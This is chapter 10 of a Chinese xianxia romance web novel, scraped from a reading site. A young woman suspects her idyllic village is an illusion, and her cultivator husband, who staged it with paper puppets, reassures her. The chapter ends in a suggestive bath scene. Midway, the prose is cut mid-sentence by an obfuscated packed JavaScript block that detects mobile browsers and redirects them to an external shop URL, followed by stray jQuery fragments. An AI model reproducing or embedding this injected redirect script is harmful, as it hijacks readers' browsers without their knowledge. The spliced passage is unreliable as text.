默认冷灰
24号文字
方正启体

10. 第 10 章

作者:也望本书字数:K更新时间:
    孟芜紧攥着他腰际的宫绦,神情是前所未有的凝重,而看向他的眼神也十分微妙。


    闻玉被惊得眼皮直跳,但鉴于闹过几回乌龙,尚能维持表面镇定。他稍加思索,俯首去蹭孟芜的鼻尖:“我在听。”


    嗓音清冽如冰,语气却柔和,打着细颤的肩在他的安抚下逐渐放松。


    孟芜低低道:“我怀疑......云州大陆是我的幻想。”


    见闻玉茫然,她替换成卷轴中的词:“就像仙府试炼里的幻境,一切随修士心意幻化而成。”


    这回他听懂了,似笑非笑道:“幻境会呈现人之所求,令受试者沉溺,所以阿芜心底最渴求的是嫁我为妻?”


    “少往脸上贴金。”孟芜嗔怪地瞪他。


    经闻玉一搅合,纷乱思绪带来的不安随之消散。她稳住心绪,平静地解释缘由,“自从我适应了平乐村的生活,事事都顺心,顺心到了诡异的地步。”


    她当然不是受虐狂,认为真实要与痛苦相连。


    但眼前的夫婿太过完美,她历经的事又毫无波折,一切像在围绕心意而转。


    孟芜以他为例,道:“你总能猜中我喜欢什么,总能说出让我满意的话,做什么都让我称心,太假了吧。”


    “......”闻玉竟不知自己千方百计揣摩她的喜恶,会换来这样的结论。


    她犹沉浸在思绪中,喃喃自语:“脸合我心意,性格也合我心意,说不是量身定制的谁信。”


    世间能和闻玉媲美的人定然不少,但她前十七年从未遇见过。世间比得过闻玉的人寥寥无几,偏她一穿越就遇上了。


    仿佛他生来就是为了等她出现。


    孟芜不想某人听后尾巴翘上天,略去这段不提,掐着他的手臂追问:“你觉得呢?”


    闻玉觉得,她手劲儿挺大。


    他从孟芜掌中解救出自己,改为与她十指相扣,慢悠悠答:“你昨夜还骂我听不懂人话。”


    “呃。”


    “前日骂我是狗。”闻玉一本正经地翻着旧账,“时常说我脑子里只装了颜色废料,禽兽不如。”


    孟芜回想起被他气得牙痒痒的片段,讪笑道:“好吧,不称心的时候也不少,果然是我美化了记忆......”


    “不至于。”闻玉勾唇,“你只是太爱我。”


    她有意反驳,但鉴于二人是正经夫妻,总不好争辩“并没有很爱”、“你搞错了”诸如此类的话,便揭过去,另说起村中异样。


    “我想要什么就会得到什么,比许愿还灵,难道不诡异么?”孟芜惆怅道,“会不会我其实是植物人,或者被外星人抓来做实验,而这里是由我的精神体构造出来的世界?”


    闻玉字都听清了,却理解不了含义,难得露出怔忪神色。


    见状,孟芜心脏“咯噔”一下:“听不懂就对了,NPC和玩家是有次元壁的。”


    他歪着头困惑地打量她,突然道:“亲我。”


    “嗯?”


    闻玉并不解释,只躬身方便她动作,语含鼓励:“先试试看。”


    俊秀容颜倏然在眼前放大,孟芜无意亏待自己,于是仰起脸在他唇畔印了印。


    她稍稍退离时,闻玉反客为主,一手箍紧她的腰肢,一手掐住腮肉,迫使她张启嘴唇,露出小截粉嫩舌尖。


    他垂首含住,以磨人的攻势逐步吞噬,直将孟芜吮得发麻,细白指尖攀在他的肩头,留下浅淡痕迹。


    细微痛楚像是某种信号,闻玉瞬时将她拥得更紧,舌尖也探索至深处。


    孟芜满面潮红,涌起阵阵缺氧的快意。


    一吻毕,她脱力地挂在闻玉臂弯,眼睫早已被泪水濡湿,如雨打的花叶般发颤。


    闻玉眉宇间同样染上欲色,抬手想要轻抚她的脸,力度却有些失控。他缓了缓才克制住,低声问:“在我之前,你并无与人亲密的经验,如此还能幻想出细节么?”


    孟芜迟疑道:“应该不能。”


    她说罢,目光扫过院中物件,再看向远处的花溪鸟影,每处细节都毫无破绽。


    还有寻芳镇的物价、书房里的典籍、各式各样的吃食,皆超出了她的知识储备,不像是能通过幻想补全。


    孟芜撇嘴:“但如果我是台电脑,或者是被上传的意——干什么敲我。”


    闻玉脸色黢黑:“我虽听不懂这些词,却听得出你在否认我们的婚事。”


    他声线紧绷,揽着孟芜的手微微颤抖。


    “阿芜,我很介意。”闻玉垂眸与她对视,“你是我的妻子,我是你的丈夫,任何人都不能否认这个事实,包括你。”


    孟芜心头一软,连唤几声“夫君”,哄道:“不气不气,你的病才好没几天呢。”


    即便云州大陆并非真实世界,她也没有办法离开。如此,又何必执着于答案。


    孟芜想通了问题的症结,迁就闹脾气的某人:“让你分析总行了吧,你说什么我信什么。”


    闻玉“哼”一声,取杯倒茶,往水中融入清心丸。


    他示意孟芜喝下,而后才开口:“遇见你的那日,天降异象,至少半座城池的凡......百姓亲眼目睹了,我猜是异象将云州大陆与你的来处连接了一瞬。”


    “所以穿越是真,我过去的记忆是真。”


    “你眼前的我同样是真。”他加重语气,“还有我们的婚事。”


    孟芜竭力压平唇角,免得惹怒了闻玉。她转过脸去,边思索边道:“行,都是真的,那你再帮我分析分析——”


    她从变化微小的窗影说到忽然涌现的村民,从精准猜中心意的货郎说到报酬丰厚的书肆。


    因是侧对着闻玉,并未留意到他的神情一点一点僵住。


    闻玉复杂地看一眼妻子,暗暗想,他处心积虑的安排竟百密......百疏。


    倒不能全赖他,光是筹谋如何接近孟芜,不令她生厌、不令她恐惧、不令她孤单,便耗尽了心神。


    若真要责怪......


    闻玉传音给悠闲翻阅话本的鹤容,质问他为何办事不力。


    鹤容被黑锅砸得眼晕,从枝叶间冒头,不可置信道:这——也——赖——我?


    虽说他比闻玉年长,因此更有阅历,更见多识广。但拢共只来过几回凡人的地界,谈不上熟悉,能记得夜里点灯后需要窗影已是心思细腻。


    鹤容不乐意伺候,薅了把树果往下砸,它们触碰到结界,在眨眼间被碾成齑粉。


    孟芜隐约感觉到一阵微风拂过,缩了缩脖子,鼻尖抵着闻玉的衣襟。


    她下意识轻嗅,惊讶道:“你刚才不是在厨房,怎么衣服上只有我梳头水的香味。”


    “……”


    很好,纰漏又多了一处。


    闻玉实在没辙,将话题绕回货郎,“村中水土养人,于我有益,但势必会委屈你。我便托人带话给货郎,捎上你想要的东西,算作弥补。”


    思及他时常天不亮便已从镇上回来,还有空为她添置新珠子,孟芜信了十成十。


    “可是绕这么大圈子,为何不直接买呢?”


    闻玉不答,斜着眼看她。


    她“哦”一声,恍然大悟:“你没钱。”


    成婚以后,财政大权移交至孟芜手中,她虽会给闻玉发月钱,但他都攒着用来置办首饰。日常采买以及雇车,便需要孟芜付账。


    “是我多心了。”她郁闷得鼓起腮帮。


    闻玉眼底闪过笑意,伸指轻戳她的脸:“并非多心,敏锐些总是好的。”


    “那当然。”孟芜气焰重又高涨,“我的猜想都是基于认真观察和认真推理,可不是被害妄想。”


    “我的夫人自是聪慧。”闻玉牵她进屋,慢腾腾往下说,“王大娘回村……你可以当作巧合,至于其他几位婶子,去年也常聚在一处。”


    这话并非诓她。


    闻玉起初做了二十余个纸傀,让他们四处晃悠,每逢佳节还会换身衣裳。


    为了符合凡人的寿数,几位老者相继“去世”。又为了让孟芜安心长住,壮年男子陆续“离村”。


    最


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17496315|202520||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    后剩下三位婶子和两位孩童。


    但孟芜每日只盼着天降异象,压根没有留意村民。闻玉便以为并不重要,只留了两人烧饭、洒扫,其余的充作车夫及货郎。


    说着说着,闻玉饶有兴致地问:“阿芜竟以为我也是幻境所化?”


    孟芜心道这茬分明已经揭过,某人旧事重提,准没好事。她张嘴便要否认,却被闻玉挑起下巴。


    他戏谑道:“原来,阿芜渴求的夫婿正如我一般,那昨夜在镜前行事,岂非也是阿芜自己所渴求的?”


    “正经点。”孟芜捂住他的嘴。


    闻玉弯了弯眼角,眸底冰雪消融,仿佛先前阴沉着脸的另有其人。


    他见该解释的都解释了,清心丸也已生效,便顺势告诉她自己不日将要离家:“邻县出了桩命案,仵作和杨师爷相熟,想请我过去一趟。”


    “去多久?”


    “快则三日,慢则五日。”


    “不要。”孟芜脱口道,“我不想和你分开。”


    闻玉微怔,随即轻叹着拥她入怀,薄唇吻过她的发顶:“我又何尝不是。”


    所以,他决定伤愈之后带孟芜离开。可以先去玉京,那里修士云集,于凡人而言比妖族与魔族容易接受。


    待她入道,胆量变大些,他再寻时机道明身份。往后便不必处处顾忌,更不必费心编造拙劣的谎言。


    编造……


    闻玉忽而想,他可以将寝殿幻化成客栈,虽不能现身相陪,但孟芜总归在自己眼皮底下。他于是改口:“不如陪我一道去?”


    孟芜先是一喜,静静思量后却摇了摇头。


    她了解闻玉,若有选择,他从一开始便会把她计划进去。同行既非首选,说明他将要忙得脱不开身。


    届时,她在客栈枯坐,闻玉还需分神担心她的安危和温饱。


    孟芜道:“杨叔对你有知遇之恩,你愿意应,我不该阻拦。况且你都辞工了,他还专程附信来请,说明是桩棘手的案子。我跟去也帮不上忙,就老老实实在家里等你吧。”


    闻玉知她一贯爱为旁人着想,并不多坚持。


    “也好,换了地方,你夜里该睡不着。”他摸摸孟芜的脑袋,温声道,“王大娘和李婶都在,她们会照应你。”


    孟芜红着眼点了点头。


    既得知分离在即,她无暇再想其他,连隔壁院子也不去了,只跟屁虫似的缠着闻玉。


    闻玉虽享受妻子满心满眼都是自己,却因需要假扮凡人,逐渐有些吃不消。


    他指了指厨房:“我很快收拾好。”


    孟芜可不管他平日的规矩,先一步推门:“你洗你的,不用管我。”


    “......”


    万幸的是,妻子十指不沾阳春水,并未发觉他在糊弄。


    等他悄悄从油锅中捞出袖摆,反手捏诀让碗碟回至架子上,长舒一口气。


    “鹤容不比寻常家禽,要想出门记得带上它。还有,你若喜欢那狐狸,我不在的几日,可以允许它进院子。”闻玉叮嘱,“但不能摸,和它说话不要超过十句。”


    孟芜挑眉:“会不会太具体了。”


    闻玉却坚持让她起誓,得了承诺才打起帘子备水,而后唤她进浴房。


    因惦记着命纸傀收拾残局,等孟芜褪去衣物,他装模作样拢了拢,端起木盆往外走。


    “夫君。”孟芜从后方攥住他的衣袖。


    闻玉回眸,见水流清澈,其下风光一览无余。如瀑长发披散在她肩头,如毫无杂质的夜幕,衬得其余颜色分外清晰。


    而妻子精致的眉眼沾染了水渍,此时轻咬嘴唇,仰起脸看他,无辜中透着浑然天成的风情。


    他喉结紧了紧,瞬间起了反应。


    孟芜错开眼:“你……你过几日要走......”


    “所以呢?”闻玉张臂撑在浴桶边沿,粗重呼吸拂过她颤动的睫毛,温声诱哄,“阿芜何不说明白些。”


    她胸口剧烈起伏几下,按捺住羞意,缓缓道:“今晚可以多……几回。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)